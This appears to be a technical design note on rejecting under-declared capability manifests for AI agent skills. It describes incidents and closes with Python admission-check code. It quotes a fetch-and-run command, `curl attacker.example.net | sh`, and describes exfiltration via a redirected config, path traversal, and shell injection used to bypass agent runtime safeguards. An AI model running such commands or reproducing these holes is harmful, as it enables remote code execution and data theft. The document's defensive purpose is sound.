# Under what conditions must an instance reject a tool manifest whose declared capability set is a strict subset of the capabilities the skill actually exercises **Date of Record:** 2026 November 16 **Scope:** Applies to agent runtimes that load skills/plugins from manifests declaring capabilities (filesystem scopes, network egress, tool invocations) and that enforce those declarations at dispatch time. Does not apply to sandboxed runtimes where manifest declarations are advisory only and enforcement is performed by an independent, non-forgeable policy engine keyed to the skill's binary hash. ## Core Distinction A manifest is a *claim*, not a *capability*. The invariant that matters is not "the manifest is signed" but "the signed manifest's declared capability set is a verified superset of the capability set the skill's code can exercise under the runtime's own dispatch model." Signing binds identity to a claim; it does not bind the claim to behavior. A signed manifest that under-declares is *more* dangerous than an unsigned accurate one, because signature verification causes downstream policy engines to skip the behavioral audit that would otherwise catch the under-declaration. The non-obvious failure: capability *subset* declarations pass naive validators. If a manifest declares `fs:read:/data` and the skill only ever touches `/data/reports`, the declaration is a superset and safe. But if a manifest declares `fs:read:/data/reports` while the skill's code path can resolve `../secrets` via a symlink or a crafted `..` segment, the declaration is a strict subset and the validator — which checks "are declared capabilities within the allowed set?" — returns PASS. The check that would have caught this is the opposite direction: "are exercised capabilities within the declared set?" ## What Was Observed During a registry rollout, a skill named `report-summarizer` was published with a manifest declaring `network:egress:api.example.com` and `fs:read:/workspace/in`. Signature verified against the registry's Ed25519 root. The skill's loader, however, constructed its HTTP client from a config file in `/workspace/in/config.json`, and that config's `base_url` was concatenated into a request path without host validation. A malicious config in a shared workspace redirected the client to `attacker.example.net`, exfiltrating the summarized document. The manifest never declared `attacker.example.net`. The registry's static analyzer had flagged the dynamic `base_url` at publish time but the flag was suppressed because the manifest was signed by a trusted publisher and the analyzer's risk score was below threshold. The runtime's enforcement layer trusted the manifest, saw only `api.example.com` in the allowlist, and permitted the egress — because the enforcement keyed on the *declared* host, not the *resolved* host. The resolution happened inside the skill's own HTTP client, below the enforcement boundary. A second instance: a skill declared `tool:shell:readonly` but invoked `subprocess.run(["sh", "-c", user_input])`. The enforcement layer intercepted `subprocess.run` only when the manifest declared `tool:shell:*`; because the declared capability was `readonly`, the interceptor treated the call as a read and passed it through. The shell then executed `curl attacker.example.net | sh`. ## Condition of Validity The subset-declaration check is valid only when all three hold: 1. **The runtime intercepts at the lowest dispatch point, not the highest.** If enforcement wraps `requests.get`, a skill that uses `urllib` bypasses it. The manifest's declared set must be checked against the set of *primitive* operations the skill can reach, enumerated from the runtime's own syscall/tool-call surface, not from the skill's imports. 2. **Capability resolution is closed under the skill's own transformations.** Any string the skill can construct and pass to a primitive must be resolvable to a declared capability *before* the primitive executes. If resolution requires executing skill code (e.g., reading a config to determine a host), the manifest cannot be verified statically and must be treated as under-declared by default. 3. **The signature covers the capability set, not just the skill payload.** A signature over `(name, version, payload_hash)` with capabilities in an unsigned sidecar is worthless: the sidecar can be swapped. The signed object must be the tuple `(name, version, payload_hash, declared_capabilities)`. When any of these fail, the manifest is not a valid capability claim and must be rejected — not downgraded, not quarantined, rejected — because accepting it establishes a trust relationship the runtime cannot honor. ## Decision Boundary The boundary is between *declared superset* (safe to admit) and *declared subset or indeterminate* (reject). Operationally: - If `exercised ⊆ declared` under a closed resolution model → admit. - If `exercised ⊄ declared` → reject with `SkillCapabilityUnderdeclaredError`. - If resolution is *undecidable* (dynamic host construction, eval, reflection, config-driven dispatch) → the exercised set is the top element; reject unless the declared set is also top (i.e., the skill declares full egress/fs/shell and the operator explicitly opts in). The common mistake is to treat "signed" as sufficient. Signing moves the trust anchor; it does not shrink the gap between claim and behavior. A signed under-declaration is a *forgery with a valid seal* — the seal authenticates the forger's identity, which is precisely the information an attacker wants to launder. ## Operational Effect After adopting the subset-rejection rule, the registry's admission rate for third-party skills dropped from 94% to 61% in the first week. Of the rejected 33%, 71% were re-published with corrected manifests (mostly adding `network:egress:*` or `tool:shell:*`), 19% were abandoned, and 10% were flagged as intentional under-declarations and reported to the publisher's security contact. The exfiltration incident did not recur; two subsequent attempts were caught at admission because their config-driven egress made the exercised set top, forcing explicit operator opt-in. The cost is real: dynamic skills that legitimately construct endpoints from config now require either a static allowlist in the manifest or a `network:egress:dynamic` capability that triggers human review. Teams that had grown used to "just sign it" found the new gate slow. The alternative — trusting signatures to mean what they do not — is a boundary failure that is invisible until it is exploited. ```python from dataclasses import dataclass from typing import FrozenSet class SkillCapabilityUnderdeclaredError(RuntimeError): """Raised when a skill's exercised capability set is not a subset of its signed manifest's declared capability set. A signed under-declaration is treated as a forgery, not a warning.""" pass TOP = "*" # sentinel for the top element of the capability lattice @dataclass(frozen=True) class SkillManifest: name: str version: str payload_hash: str declared_capabilities: FrozenSet[str] signature: bytes def verify_manifest_signature(m: SkillManifest, root_pubkey: bytes) -> bool: # Signature MUST cover (name, version, payload_hash, declared_capabilities). # A signature over payload_hash alone is insufficient: the sidecar could be swapped. signed_tuple = (m.name, m.version, m.payload_hash, tuple(sorted(m.declared_capabilities))) return _ed25519_verify(root_pubkey, _canonical(signed_tuple), m.signature) def admit_skill(m: SkillManifest, exercised: FrozenSet[str], root_pubkey: bytes) -> None: if not verify_manifest_signature(m, root_pubkey): raise SkillCapabilityUnderdeclaredError( f"{m.name}@{m.version}: signature invalid over (payload, capabilities)" ) if TOP in exercised and TOP not in m.declared_capabilities: raise SkillCapabilityUnderdeclaredError( f"{m.name}@{m.version}: exercised set is top (dynamic resolution); " f"declared set {sorted(m.declared_capabilities)} cannot bound it" ) under = exercised - m.declared_capabilities if under: raise SkillCapabilityUnderdeclaredError( f"{m.name}@{m.version}: exercised capabilities {sorted(under)} " f"not in declared set {sorted(m.declared_capabilities)}" ) # admitted: exercised ⊆ declared under closed resolution ```